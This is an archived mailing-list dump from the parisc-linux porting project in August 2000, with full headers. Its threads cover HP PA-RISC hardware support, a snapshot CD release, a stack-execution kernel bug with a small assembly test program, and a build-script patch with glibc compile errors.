Original-Received: from athos (actually host athos-dmz.barclays.co.uk) by porthos-dmz.barclays.co.uk with SMTP (XT-PP) with ESMTP; Tue, 8 Aug 2000 08:50:29 +0100
X-Mailer: Mozilla 4.73 [en] (WinNT; I)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7650

Good Morning

Has anyone sucessuflly got Linux running on an HP 9000/D200 machine?.

If so, any tips or advice?

Many Thanks
Simon Teather


Internet communications are not secure and therefore the Barclays Group does
not accept legal responsibility for the contents of this message. Any views
or opinions presented are solely those of the author and do not necessarily
represent those of the Barclays Group.



From - Thu Nov 08 21:13:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Zalon 53c720 support added
Date: Tue, 8 Aug 2000 12:01:02 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20000808120102.A1107@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619032 2059 80.91.229.3 (22 Nov 2014 01:17:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:12 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: rhirst@linuxcare.com  Tue Aug  8 04:58:39 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id EAA25963
	for <parisc-linux@puffin.external.hp.com>; Tue, 8 Aug 2000 04:58:38 -0600
Original-Received: (qmail 17720 invoked by uid 15267); 8 Aug 2000 11:00:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17705 invoked from network); 8 Aug 2000 11:00:52 -0000
Original-Received: from unknown (HELO rhirst.linuxcare.com) (158.43.17.94)
  by mailserv2.iuinc.com with SMTP; 8 Aug 2000 11:00:52 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 6A0A8B005; Tue,  8 Aug 2000 12:01:02 +0100 (BST)
X-Mailer: Mutt 1.0us
Xref: news.gmane.org gmane.linux.ports.parisc:7651

Hi,
  I have added support for 53c720, currently (ab)using the ncr53c8xx.c driver,
but it may have to split in to a seperate driver later.  Tested on a bluefish
card; I can run fast and wide, using tagged commands, and copy data between
two disks.  It crashes after a while, but then if I do the same with either
the 53c710 or 53c875 drivers a similar thing happens.  I'm busy with other
things for the next week or so, but I'll get back to it after that.

To enable it answer 'yes' to CONFIG_SCSI_ZALON.

Richard


From - Thu Nov 08 21:13:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000/D200 and Linux
Date: Tue, 8 Aug 2000 08:59:56 -0400
Lines: 18
Approved: news@gmane.org
Message-ID: <20000808085956.L10538@vodka.thepuffingroup.com>
References: <398FBB88.FCF6F6E@barclays.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619033 2067 80.91.229.3 (22 Nov 2014 01:17:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:13 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Simon Teather <simon.teather@barclays.co.uk>
Original-X-From: willy@thepuffingroup.com  Tue Aug  8 08:03:15 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA27606
	for <parisc-linux@puffin.external.hp.com>; Tue, 8 Aug 2000 08:03:14 -0600
Original-Received: (qmail 19437 invoked by uid 15267); 8 Aug 2000 14:05:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19420 invoked from network); 8 Aug 2000 14:05:28 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 8 Aug 2000 14:05:27 -0000
Original-Received: (qmail 8812 invoked from network); 8 Aug 2000 14:05:04 -0000
Original-Received: from dis.i.linuxcare.com (HELO vodka.thepuffingroup.com) (192.168.1.57)
  by db1.i.linuxcare.com with SMTP; 8 Aug 2000 14:05:04 -0000
Original-Received: (from willy@localhost)
	by vodka.thepuffingroup.com (8.9.3/8.9.3) id IAA17902;
	Tue, 8 Aug 2000 08:59:56 -0400
X-Mailer: Mutt 0.95.4us
In-Reply-To: <398FBB88.FCF6F6E@barclays.co.uk>; from Simon Teather on Tue, Aug 08, 2000 at 08:49:28AM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:7652

On Tue, Aug 08, 2000 at 08:49:28AM +0100, Simon Teather wrote:
> Has anyone sucessuflly got Linux running on an HP 9000/D200 machine?.

We don't actually have an ioscan of the D200 in our database, could you go
to http://216.208.98.4/add.php3?type=machine and follow the instructions
for adding it to the hwdb?

>From other info, this is a PCX-L based machine (PA7100LC) which makes
it similar to the 712.  The D310 is the closest thing we have to it in
the database (http://216.208.98.4/view.php3?type=machine&name=D310).
Most of the devices in there seem supported, so it should work.  It's not
a machine which we're concentrating on right now, but with a bit of luck,
the cd image that matt taggart & paul bame have produced should work
on it.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:13:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@noam.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PA/Linux CD Image
Date: Tue, 08 Aug 2000 13:30:31 -0600
Lines: 75
Approved: news@gmane.org
Message-ID: <E13MF55-0001Zr-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619033 2068 80.91.229.3 (22 Nov 2014 01:17:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:13 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bame@noam.fc.hp.com  Tue Aug  8 20:59:36 2000
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id UAA01243
	for <parisc-linux@puffin.external.hp.com>; Tue, 8 Aug 2000 20:59:35 -0600
Original-Received: from mailserv2.iuinc.com (mailserv2.iuinc.com [206.245.164.55])
	by atlrel1.hp.com (Postfix) with SMTP id 57024325
	for <parisc-linux@puffin.external.hp.com>; Tue,  8 Aug 2000 15:36:47 -0400 (EDT)
Original-Received: (qmail 9751 invoked by uid 15267); 8 Aug 2000 19:30:14 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9513 invoked from network); 8 Aug 2000 19:30:07 -0000
Original-Received: from cosrel2.hp.com (156.153.255.162)
  by mailserv2.iuinc.com with SMTP; 8 Aug 2000 19:30:07 -0000
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by cosrel2.hp.com (Postfix) with ESMTP id 6581625A
	for <parisc-linux@thepuffingroup.com>; Tue,  8 Aug 2000 13:29:59 -0600 (MDT)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.1/8.9.3 SMKit7.01) with ESMTP id NAA11467
	for <parisc-linux@thepuffingroup.com>; Tue, 8 Aug 2000 13:30:01 -0600 (MDT)
Original-Received: from localhost
	([127.0.0.1] helo=noam.fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 13MF55-0001Zr-00
	for <parisc-linux@thepuffingroup.com>; Tue, 08 Aug 2000 13:30:31 -0600
Xref: news.gmane.org gmane.linux.ports.parisc:7653

We recently sent off the master copy of the PA/Linux Snapshot 0.1 CD
for replication, and for distribution at LinuxWorldExpo.  The compressed
ISO image is available at:

    ftp://puffin.external.hp.com/pub/parisc/cd-images
    (inside HP) http://debian.fc.hp.com/cd-images/

The conference CD contains a snapshot of our FTP site, but if you
have access to FTP there's no reason to download a huge CD image
with another copy of the FTP site in it, so I didn't
put the CD image containing the FTP mirror on puffin.external.hp.com.

I've attached the README from the CD because everyone should be aware
of the WARNING/DISCLAIMER stuff.

	-Paul Bame

             Welcome to PA/Linux Developer's Release
		Version 0.1 - Snapshot 2000/08/04
             ---------------------------------------

This CD presents a snapshot of the work porting Linux to PA-RISC processors.
The CD boots on HP 9000/712, A-180, and B-180 and possibly other HP PA-RISC
computers.  It contains a minimal set of cross-compiled user space programs.

In addition to the bootable image, this CD contains cross compilers,
source code, and documentation.  You can also use it to initialize a bootable
PA-RISC hard disk from this CD.

Since progress never stops, by the time you read this it will be out of
date, so check out http://www.thepuffingroup.com/parisc/ for the latest.

*** WARNING ***
This is only a snapshot of development in progress. The purpose of the user
space programs at this point are to,
    1) stress and break the kernel, which they do (as you'll
	probably find out)
    2) become the base build environment under which we can start
	building a "real" Linux distribution.
    3) NOT to have a "correct" or secure or pleasing user space
	since that's what we'll soon have through building
	a real Linux distribution.


Contents
- - --------
Since this CD is also a bootable filesystem the layout of the CD reflects that.
In all the normal system directories (like /bin, /usr, etc) you'll find
PA/Linux userspace binaries and other system files. In addition to the
normal directories there are a few additional files and directories;

README         - This file
README.INSTALL - Instructions for initializing a bootable PA/Linux harddisk.
mirror/        - A mirror of ftp://puffin.external.hp.com/pub/parisc/
                   See mirror/README for contents and details


Errata
- - ------
Not all userspace apps function correctly. Here are some problems we
know about,

- - - Ctrl-C doesn't work
- - - ping only handles 1 packet, and then it hangs your machine
- - - Lots of debug messages come out of the kernel -- don't worry about it.

- ------- End of Forwarded Message






------- End of Forwarded Message


From - Thu Nov 08 21:13:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Making the stack executable
Date: 08 Aug 2000 14:30:20 -0400
Organization: Linuxcare, Inc.
Lines: 51
Approved: news@gmane.org
Message-ID: <87zomnobb7.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619033 2071 80.91.229.3 (22 Nov 2014 01:17:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:13 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: dhd@linuxcare.com  Tue Aug  8 22:05:48 2000
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id WAA03267
	for <parisc-linux@puffin.external.hp.com>; Tue, 8 Aug 2000 22:05:48 -0600
Original-Received: from mailserv2.iuinc.com (mailserv2.iuinc.com [206.245.164.55])
	by atlrel2.hp.com (Postfix) with SMTP id 3EF5D5FD
	for <parisc-linux@puffin.external.hp.com>; Tue,  8 Aug 2000 14:37:23 -0400 (EDT)
Original-Received: (qmail 3704 invoked by uid 15267); 8 Aug 2000 18:30:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3657 invoked from network); 8 Aug 2000 18:30:19 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 8 Aug 2000 18:30:19 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13ME8r-0005ir-00
	for <parisc-linux@thepuffingroup.com>; Tue, 08 Aug 2000 14:30:21 -0400
Original-Lines: 50
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7654

Hi,

It turns out that my mysterious lockups in the rt_sigreturn path were
due to the fact that our stack pages are not executable.

They are being mapped with PAGE_COPY protection in exec.c, like every
other architecture does, but unlike every other architecture, our
PAGE_COPY did not include execute permissions.

Sorry folks but we do need trampolines.

What is more disturbing is that without _PAGE_EXEC set in PAGE_COPY,
attempting to execute code on the stack just hangs the machine solid!
(without printing out any error messages or register dumps)

The following program should demonstrate this problem:

	.LEVEL 1.1
	.text
	.align 4
	.globl main
main:
	.PROC
	.CALLINFO FRAME=64
	stw	%rp,-20(%sp)
	copy	%sp,%r19
	ldo	64(%sp),%sp
	ldil	L%0xebe0c002,%r20	/* bv,n %r0(%r31) */
	ldo	R%0xebe0c002(%r20),%r20
	stw	%r20,0(%r19)
	fdc	%r0(%r19)
	sync
	fic	%r0(%r19)
	sync
	ble	0(%sr7,%r19)
	nop
	ldo	-64(%sp),%sp
	bv,n	%r0(%rp)
	.ENTRY
	.EXIT
	.PROCEND

Is this some kind of issue with our ITLB miss handlers?

I'll check in the change to <asm/pgtable.h> shortly, but I'd like
someone to also look into the problem above (without the change).

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] recipe
Date: Tue, 08 Aug 2000 23:25:09 -0600
Lines: 108
Approved: news@gmane.org
Message-ID: <3990EB35.D33C40BF@uswest.net>
References: <39864BF4.4FD098D0@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------BFFCCEE5BF5198CF09372007"
X-Trace: ger.gmane.org 1416619033 2072 80.91.229.3 (22 Nov 2014 01:17:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:13 +0000 (UTC)
To: Tara Dear <tdear@linuxcare.com>, parisc-linux@thepuffingroup.com
Original-X-From: rbradetich@uswest.net  Wed Aug  9 05:25:01 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id FAA24872
	for <parisc-linux@puffin.external.hp.com>; Wed, 9 Aug 2000 05:25:00 -0600
Original-Received: (qmail 1113 invoked by uid 15267); 9 Aug 2000 05:25:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1103 invoked from network); 9 Aug 2000 05:25:11 -0000
Original-Received: from boispop1.bois.uswest.net (207.108.224.1)
  by mailserv2.iuinc.com with SMTP; 9 Aug 2000 05:25:11 -0000
Original-Received: (qmail 552 invoked by alias); 9 Aug 2000 05:25:10 -0000
Delivered-To: fixup-parisc-linux@thepuffingroup.com@fixme
Original-Received: (qmail 541 invoked by uid 0); 9 Aug 2000 05:25:09 -0000
Original-Received: from www.ybsoft.com (HELO uswest.net) (63.224.241.66)
  by boispop1.bois.uswest.net with SMTP; 9 Aug 2000 05:25:09 -0000
Original-Sender: rbrad@mailserv2.iuinc.com
X-Mailer: Mozilla 4.73 [en] (X11; U; Linux 2.4.0-test2 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7655

This is a multi-part message in MIME format.
--------------BFFCCEE5BF5198CF09372007
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Tara,

I have a small patch to the recipe that will fix problems with a new install.

Sorry it has taken so long to get back, but it took me a while to figure out
how to fix them so I could post a patch :)

Unfortunately, the current glibc cvs source will not build for me so I have
not finished testing the recipe.  I will take a look at the remaining errors
tomorrow evening, unless someone else manages to fix them before then :)

Thanks for the recipe!

- Ryan


P.S.  Here are the glibc errors.

hppa-linux-gcc ../sysdeps/unix/sysv/linux/sigaction.c -c -O -Wall -Winline
-Wstrict-prototypes -Wwrite-strings -g      -I../include -I.
-I/usr/src/parisc/glibc-build/signal -I.. -I../libio
-I/usr/src/parisc/glibc-build -I../sysdeps/hppa/elf
-I../sysdeps/unix/sysv/linux/hppa -I../sysdeps/unix/sysv/linux
-I../sysdeps/gnu -I../sysdeps/unix/common -I../sysdeps/unix/mman
-I../sysdeps/unix/inet -I../sysdeps/unix/sysv -I../sysdeps/unix
-I../sysdeps/posix -I../sysdeps/hppa/hppa1.1 -I../sysdeps/wordsize-32
-I../sysdeps/ieee754/flt-32 -I../sysdeps/ieee754/dbl-64
-I../sysdeps/ieee754/ldbl-128 -I../sysdeps/hppa/fpu -I../sysdeps/hppa
-I../sysdeps/ieee754 -I../sysdeps/generic/elf -I../sysdeps/generic  -nostdinc
-isystem /opt/puffin/lib/gcc-lib/hppa-linux/2.96/include -isystem
/usr/src/parisc/glibc-build/../linux-2.3/include  -include
../include/libc-symbols.h     -o
/usr/src/parisc/glibc-build/signal/sigaction.o
../sysdeps/unix/sysv/linux/sigaction.c: In function `__sigaction':
../sysdeps/unix/sysv/linux/sigaction.c:77: structure has no member named
`sa_restorer'
../sysdeps/unix/sysv/linux/sigaction.c:83: warning: initialization makes
integer from pointer without a cast
../sysdeps/unix/sysv/linux/sigaction.c:83: warning: initialization makes
integer from pointer without a cast
../sysdeps/unix/sysv/linux/sigaction.c:96: structure has no member named
`sa_restorer'
../sysdeps/unix/sysv/linux/sigaction.c:116: structure has no member named
`sa_restorer'
../sysdeps/unix/sysv/linux/sigaction.c:119: warning: initialization makes
integer from pointer without a cast
../sysdeps/unix/sysv/linux/sigaction.c:119: warning: initialization makes
integer from pointer without a cast
../sysdeps/unix/sysv/linux/sigaction.c:127: structure has no member named
`sa_restorer'
make[2]: *** [/usr/src/parisc/glibc-build/signal/sigaction.o] Error 1
make[2]: Leaving directory `/usr/src/parisc/glibc/signal'
make[1]: *** [signal/subdir_lib] Error 2
make[1]: Leaving directory `/usr/src/parisc/glibc'
make: *** [all] Error 2


--------------BFFCCEE5BF5198CF09372007
Content-Type: text/plain; charset=us-ascii;
 name="patch.recipe"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="patch.recipe"

*** recipe.sh.orig	Tue Aug  8 23:06:46 2000
--- recipe.sh	Tue Aug  8 23:04:27 2000
***************
*** 1,7 ****
  #!/bin/sh -e
  
! PREFIX=/home/tdear/parisc
  HOST=i386-linux
  
  export CVS_RSH=ssh
  echo Checking for CVS directories
--- 1,8 ----
  #!/bin/sh -e
  
! PREFIX=/opt/puffin
  HOST=i386-linux
+ PATH=/usr/local/bin:/usr/bin:/bin
  
  export CVS_RSH=ssh
  echo Checking for CVS directories
***************
*** 43,48 ****
--- 44,56 ----
  echo Updating linux-2.3
  (cd linux-2.3 && cvs update -dP)
  echo Updating header files in $PREFIX/hppa-linux/include/{linux,asm}
+ 
+ # We need to build include/linux/version.h for glibc
+ (cd linux-2.3 && gmake `pwd`/include/linux/version.h)
+ 
+ # We also need a symbolic link for asm
+ (cd linux-2.3/include && ln -s asm-parisc asm)
+ 
  rm -rf $PREFIX/hppa-linux/include/{linux,asm}
  cp -a linux-2.3/include/linux $PREFIX/hppa-linux/include
  cp -a linux-2.3/include/asm-parisc $PREFIX/hppa-linux/include/asm

--------------BFFCCEE5BF5198CF09372007--


From - Thu Nov 08 21:13:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] recipe
Date: 09 Aug 2000 10:11:11 -0400
Organization: Linuxcare, Inc.
Lines: 15
Approved: news@gmane.org
Message-ID: <87n1imo77k.fsf@linuxcare.com>
References: <39864BF4.4FD098D0@linuxcare.com> <3990EB35.D33C40BF@uswest.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619034 2074 80.91.229.3 (22 Nov 2014 01:17:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:14 +0000 (UTC)
Cc: Tara Dear <tdear@linuxcare.com>, parisc-linux@thepuffingroup.com
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: dhd@linuxcare.com  Wed Aug  9 14:11:17 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA28597
	for <parisc-linux@puffin.external.hp.com>; Wed, 9 Aug 2000 14:11:17 -0600
Original-Received: (qmail 27514 invoked by uid 15267); 9 Aug 2000 14:11:24 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27461 invoked from network); 9 Aug 2000 14:11:22 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 9 Aug 2000 14:11:22 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13MWZb-0007Jt-00; Wed, 09 Aug 2000 10:11:11 -0400
In-Reply-To: Ryan Bradetich's message of "Tue, 08 Aug 2000 23:25:09 -0600"
Original-Lines: 14
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7656

Ryan Bradetich <rbradetich@uswest.net> writes:

> Unfortunately, the current glibc cvs source will not build for me

> ../sysdeps/unix/sysv/linux/sigaction.c: In function `__sigaction':
> ../sysdeps/unix/sysv/linux/sigaction.c:77: structure has no member named
> `sa_restorer'

Urgh.  This is my fault.  Sorry, I forgot to actually test that patch
to glibc it seems.  Fixing it now.

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: schaecsn <schaecsn@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PA/Linux CD Image
Date: Wed, 09 Aug 2000 17:45:27 +0200
Organization: The 8th Day Project
Lines: 23
Approved: news@gmane.org
Message-ID: <39917C97.4DC81F31@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619034 2076 80.91.229.3 (22 Nov 2014 01:17:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:14 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: schaecsn@gmx.de  Wed Aug  9 16:46:01 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA30964
	for <parisc-linux@puffin.external.hp.com>; Wed, 9 Aug 2000 16:46:00 -0600
Original-Received: (qmail 11422 invoked by uid 15267); 9 Aug 2000 16:46:10 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10765 invoked from network); 9 Aug 2000 16:45:28 -0000
Original-Received: from plato.exmail.de (wdd@194.97.6.205)
  by mailserv2.iuinc.com with SMTP; 9 Aug 2000 16:45:28 -0000
Original-Received: (qmail 21884 invoked from network); 9 Aug 2000 16:45:21 -0000
Original-Received: from ac6d2.pppool.de (HELO taipeh) (schaecsn@213.6.198.210)
  by plato.exmail.de with SMTP; 9 Aug 2000 16:45:21 -0000
Original-Sender: schaecsn@mailserv2.iuinc.com
X-Mailer: Mozilla 3.01 (X11; I; Linux 2.0.38 i486)
Xref: news.gmane.org gmane.linux.ports.parisc:7657

Hello,

I am interested in trying out the PA Linux cdrom. Before I put much
effort into installing it on my 735 i have a few questions.

my understanding of the current state of the port is that the kernel
boots and some user applications run at ... at least a few seconds.
right?

how "complete" is the cdrom image, e.g. does there exist a /etc
directory with some rc.d files and similiar essential things? if i put
some effort into installing it then I'll like to use it as a basis for
further updates, e.g. when there will be eventually a stable kernel I
want to install it over this distribution. I'll have to install probably
some further programs, too. Will this be possible with a "reasonable"
effort?

aehm, i have a 200MB SCSI disk. That is enough, isn't it?

thank you,

- Stefan


From - Thu Nov 08 21:13:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bdale Garbee <bdale@gag.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PA/Linux CD Image
Date: Wed,  9 Aug 2000 12:28:12 -0600 (MDT)
Lines: 28
Approved: news@gmane.org
Message-ID: <20000809182812.78B76363F3@rover.gag.com>
References: <39917C97.4DC81F31@gmx.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619034 2083 80.91.229.3 (22 Nov 2014 01:17:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:14 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bdale@gag.com  Wed Aug  9 18:28:18 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA32162
	for <parisc-linux@puffin.external.hp.com>; Wed, 9 Aug 2000 18:28:18 -0600
Original-Received: (qmail 11687 invoked by uid 15267); 9 Aug 2000 18:28:21 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11441 invoked from network); 9 Aug 2000 18:28:15 -0000
Original-Received: from rover.gag.com (postfix@192.133.104.32)
  by mailserv2.iuinc.com with SMTP; 9 Aug 2000 18:28:15 -0000
Original-Received: by rover.gag.com (Postfix, from userid 1000)
	id 78B76363F3; Wed,  9 Aug 2000 12:28:12 -0600 (MDT)
X-Newsgroups: list.parisc-linux
In-Reply-To: <39917C97.4DC81F31@gmx.de>
User-Agent: tin/1.4.2-20000205 ("Possession") (UNIX) (Linux/2.4.0-test5 (i686))
Xref: news.gmane.org gmane.linux.ports.parisc:7658

In article <39917C97.4DC81F31@gmx.de> you wrote:

> if i put
> some effort into installing it then I'll like to use it as a basis for
> further updates, e.g. when there will be eventually a stable kernel I
> want to install it over this distribution. I'll have to install probably
> some further programs, too. Will this be possible with a "reasonable"
> effort?

That depends on your definition of "reasonable".  :-)  I don't think anyone
expects you to "install" the bits on this CD.  The image is bootable, and it
should be possible to play around quite a bit running from the CDROM root.

My personal spin on this is that if it's not hard for you to burn a CR-R, or
if you were to acquire a physical disk at LWCE, then it's probably worth 
dropping it in a CDROM drive and booting it to see what's there and what does
and doesn't work.  It may not be worth trying to install this onto your hard
disk for any reason other than intellectual curiosity unless you intend to
dive in and help the team complete the porting work.  Even then, I find it 
desireable to work over an nfsroot and not a local disk installation.

We're getting close (a couple of months, maybe) from being able to offer 
a relatively normal Debian installation/upgrade process.  If you want to 
*use* parisc-linux (as opposed to helping get the port finished), that is
probably a better trigger event to wait for.

Bdale


From - Thu Nov 08 21:13:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA/Linux CD Image
Date: Thu, 10 Aug 2000 03:55:16 +0800
Lines: 19
Approved: news@gmane.org
Message-ID: <20000810035512.G10332@neep.com.au>
References: <E13MF55-0001Zr-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619035 2090 80.91.229.3 (22 Nov 2014 01:17:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:15 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: andrew@neep.com.au  Wed Aug  9 19:55:34 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA32730
	for <parisc-linux@puffin.external.hp.com>; Wed, 9 Aug 2000 19:55:28 -0600
Original-Received: (qmail 18768 invoked by uid 15267); 9 Aug 2000 19:55:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18729 invoked from network); 9 Aug 2000 19:55:39 -0000
Original-Received: from urban.iinet.net.au (203.59.24.231)
  by mailserv2.iuinc.com with SMTP; 9 Aug 2000 19:55:39 -0000
Original-Received: from guinness.neep.com.au (reggae-33-37.nv.iinet.net.au [203.59.166.37])
	by urban.iinet.net.au (8.8.7/8.8.7) with ESMTP id DAA06925
	for <parisc-linux@thepuffingroup.com>; Thu, 10 Aug 2000 03:55:31 +0800
Original-Received: (from andrew@localhost)
	by guinness.neep.com.au (8.9.3/8.9.3/Debian/GNU) id DAA19289
	for parisc-linux@thepuffingroup.com; Thu, 10 Aug 2000 03:55:19 +0800
Mail-Followup-To: parisc-linux@thepuffingroup.com
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
